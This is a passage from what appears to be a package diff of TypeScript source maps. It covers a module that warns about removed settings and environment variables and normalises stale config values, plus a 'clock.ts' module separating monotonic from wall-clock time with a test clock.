be named\n // explicitly or the user is left reading a schema error about a literal type.\n if (document.compactStrategy !== undefined && document.compactStrategy !== 'summary') {\n notices.push({\n key: 'compactStrategy',\n message:\n `compactStrategy: ${JSON.stringify(document.compactStrategy)} is no longer a choice. ` +\n 'Zero-Mem was removed and summary compaction is the only strategy; delete the key.',\n });\n }\n return notices;\n}\n\n/** Removed environment variables that are set in `env`, with their guidance. */\nexport function collectRemovedEnvNotices(env: NodeJS.ProcessEnv): RemovedSettingNotice[] {\n const notices: RemovedSettingNotice[] = [];\n for (const [name, message] of REMOVED_ENV_VARS) {\n // The client-id variables are per-profile suffixed, so match by prefix.\n const matches =\n name.endsWith('CLIENT_ID') || name.endsWith('CLIENT_SECRET')\n ? Object.keys(env).filter((key) => key.startsWith(`${name}_`) || key === name)\n : env[name] !== undefined\n ? [name]\n : [];\n for (const key of matches) notices.push({ key, message });\n }\n return notices;\n}\n\n/**\n * Drop removed keys and coerce removed values so a stale document still loads.\n *\n * Unknown blocks are stripped by validation anyway; the value coercion is the\n * part that matters, because without it one obsolete string fails the whole\n * file and Book will not start. Returns a copy — the caller's document is left\n * alone so it can still be reported on.\n */\nexport function normalizeRemovedSettings(document: unknown): unknown {\n if (!isRecord(document)) return document;\n if (document.compactStrategy === undefined || document.compactStrategy === 'summary') {\n return document;\n }\n const normalized = { ...document };\n delete normalized.compactStrategy;\n return normalized;\n}\n"],"mappings":";AAgBA,SAAS,YAAY,oBAAoB;AAUzC,IAAM,iBAA2D;AAAA,EAC/D;AAAA,IACE;AAAA,IACA;AAAA,EAEF;AAAA,EACA;AAAA,IACE;AAAA,IACA;AAAA,EACF;AAAA,EACA;AAAA,IACE;AAAA,IACA;AAAA,EAEF;AACF;AAGO,IAAM,8BAA8B;AAOpC,SAAS,uBAAuB,MAAsB;AAC3D,SACE,GAAG,IAAI;AAIX;AAGA,IAAM,mBAA6D;AAAA,EACjE,CAAC,qBAAqB,4DAA4D;AAAA,EAClF,CAAC,uBAAuB,4DAA4D;AAAA,EACpF,CAAC,2BAA2B,4DAA4D;AAAA,EACxF,CAAC,8BAA8B,gEAAgE;AAAA,EAC/F,CAAC,6BAA6B,uBAAuB;AAAA,EACrD,CAAC,kCAAkC,uBAAuB;AAAA,EAC1D;AAAA,IACE;AAAA,IACA;AAAA,EACF;AACF;AAEA,SAAS,SAAS,OAAkD;AAClE,SAAO,OAAO,UAAU,YAAY,UAAU,QAAQ,CAAC,MAAM,QAAQ,KAAK;AAC5E;AAGO,SAAS,+BAA+B,MAAuB;AACpE,MAAI;AACF,QAAI,CAAC,WAAW,IAAI,EAAG,QAAO;AAC9B,WAAO,KAAK,MAAM,aAAa,MAAM,OAAO,CAAC;AAAA,EAC/C,QAAQ;AAEN,WAAO;AAAA,EACT;AACF;AAQO,SAAS,4BACd,mBACA,KACS;AACT,MAAI,OAAO,KAAK,GAAG,EAAE,KAAK,CAAC,QAAQ,IAAI,WAAW,YAAY,CAAC,EAAG,QAAO;AACzE,SAAO,kBAAkB,KAAK,CAAC,SAAS;AACtC,UAAM,WAAW,+BAA+B,IAAI;AACpD,WAAO,SAAS,QAAQ,KAAK,SAAS,SAAS;AAAA,EACjD,CAAC;AACH;AAQO,SAAS,6BAA6B,UAA2C;AACtF,MAAI,CAAC,SAAS,QAAQ,EAAG,QAAO,CAAC;AACjC,QAAM,UAAkC,CAAC;AACzC,aAAW,CAAC,KAAK,OAAO,KAAK,gBAAgB;AAC3C,QAAI,SAAS,GAAG,MAAM,OAAW,SAAQ,KAAK,EAAE,KAAK,QAAQ,CAAC;AAAA,EAChE;AAIA,MAAI,SAAS,oBAAoB,UAAa,SAAS,oBAAoB,WAAW;AACpF,YAAQ,KAAK;AAAA,MACX,KAAK;AAAA,MACL,SACE,oBAAoB,KAAK,UAAU,SAAS,eAAe,CAAC;AAAA,IAEhE,CAAC;AAAA,EACH;AACA,SAAO;AACT;AAGO,SAAS,yBAAyB,KAAgD;AACvF,QAAM,UAAkC,CAAC;AACzC,aAAW,CAAC,MAAM,OAAO,KAAK,kBAAkB;AAE9C,UAAM,UACJ,KAAK,SAAS,WAAW,KAAK,KAAK,SAAS,eAAe,IACvD,OAAO,KAAK,GAAG,EAAE,OAAO,CAAC,QAAQ,IAAI,WAAW,GAAG,IAAI,GAAG,KAAK,QAAQ,IAAI,IAC3E,IAAI,IAAI,MAAM,SACZ,CAAC,IAAI,IACL,CAAC;AACT,eAAW,OAAO,QAAS,SAAQ,KAAK,EAAE,KAAK,QAAQ,CAAC;AAAA,EAC1D;AACA,SAAO;AACT;AAUO,SAAS,yBAAyB,UAA4B;AACnE,MAAI,CAAC,SAAS,QAAQ,EAAG,QAAO;AAChC,MAAI,SAAS,oBAAoB,UAAa,SAAS,oBAAoB,WAAW;AACpF,WAAO;AAAA,EACT;AACA,QAAM,aAAa,EAAE,GAAG,SAAS;AACjC,SAAO,WAAW;AAClB,SAAO;AACT;","names":[]}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/clock.ts"],"sourcesContent":["/**\r\n * Time that measures, separated from time that labels.\r\n *\r\n * `Date.now()` is the settable wall clock. NTP steps it, a VM resumes with it\r\n * wrong and then corrects, an operator fixes a drifted host, DST changes the\r\n * offset. None of that matters over a five-minute chat, and all of it is\r\n * near-certain over the multi-day runs Book is built for — which is why every\r\n * *duration* decision here reads a monotonic source instead.\r\n *\r\n * What the two are for:\r\n *\r\n * - **`monotonicNowMs()`** — \"how long has this been going?\" Retry budgets,\r\n * flush deadlines, kill timeouts, elapsed run time. It only ever moves\r\n * forward, at a rate nothing can adjust, and its origin is arbitrary, so a\r\n * reading is meaningless on its own and comparable only to another reading\r\n * *from the same process*.\r\n * - **`wallNowMs()`** — \"when did this happen?\" Anything written to a file, put\r\n * on screen, or compared against a stamp another process wrote. Still\r\n * `Date.now()`; the name exists so the choice is visible at the call site\r\n * rather than implied by its absence.\r\n *\r\n * **The origin is per-process, and that is the whole limit.** Two processes'\r\n * monotonic clocks share no zero, so a monotonic reading cannot be persisted,\r\n * sent, or compared across a process boundary. Cross-process liveness — the\r\n * background-shell heartbeat, the run-status file `book status` reads, the\r\n * retention sweeps — therefore stays on the wall clock by necessity, not by\r\n * oversight. A backwards step there reads as \"unexpectedly fresh\" and a forward\r\n * step can declare a live run stale; fixing that needs a sequence counter in the\r\n * file, not a better clock. See `MILESTONES.md`.\r\n *\r\n * Injected rather than imported directly at the decision sites, per the\r\n * module-level-mutable-state rule: a caller that needs to control time passes a\r\n * `Clock`, and tests do exactly that instead of reaching for fake timers.\r\n *\r\n * One trap worth knowing when writing those tests: vitest's default\r\n * `vi.useFakeTimers()` fakes `performance` too, so the monotonic clock stops\r\n * with the fake wall clock and a test cannot tell the two apart. Use\r\n * `vi.useFakeTimers({ toFake: ['Date'] })` to move the wall clock while the\r\n * monotonic one keeps its own time — that divergence is the thing under test.\r\n */\r\n\r\n/** A monotonic reading, in milliseconds. Only comparable within one process. */\r\nexport type MonotonicMs = number;\r\n\r\nexport interface Clock {\r\n /** Milliseconds since an arbitrary fixed origin. Never goes backwards. */\r\n monotonicNowMs(): MonotonicMs;\r\n /** Milliseconds since the Unix epoch. Settable; use only for labels. */\r\n wallNowMs(): number;\r\n}\r\n\r\n/**\r\n * `performance.now()` is monotonic in Node — it reads `uv_hrtime`, which is\r\n * unaffected by `settimeofday` — and is millisecond-resolution floating point,\r\n * which is finer than any deadline here needs.\r\n */\r\nexport const systemClock: Clock = {\r\n monotonicNowMs: () => performance.now(),\r\n wallNowMs: () => Date.now(),\r\n};\r\n\r\n/**\r\n * A clock a test drives by hand. Both hands start at the given values and move\r\n * only when told, so a test can advance one without the other — which is the\r\n * only way to show a duration decision is immune to a wall-clock step.\r\n */\r\nexport function createTestClock(options?: { monotonicMs?: number; wallMs?: number }): Clock & {\r\n advanceMonotonic(ms: number): void;\r\n setWall(ms: number): void;\r\n} {\r\n let monotonic = options?.monotonicMs ?? 0;\r\n let wall = options?.wallMs ?? 1_700_000_000_000;\r\n return {\r\n monotonicNowMs: () => monotonic,\r\n wallNowMs: () => wall,\r\n advanceMonotonic(ms: number) {\r\n // Guard the invariant the production clock has for free: a test that\r\n // rewinds this is testing something that cannot happen.\r\n if (ms < 0) throw new Error('monotonic time cannot move backwards');\r\n monotonic += ms;\r\n },\r\n setWall(ms: number) {\r\n wall = ms;\r\n },\r\n };\r\n}\r\n"],"mappings":";AAwDO,IAAM,cAAqB;AAAA,EAChC,gBAAgB,MAAM,YAAY,IAAI;AAAA,EACtC,WAAW,MAAM,KAAK,IAAI;AAC5B;","names":[]}
|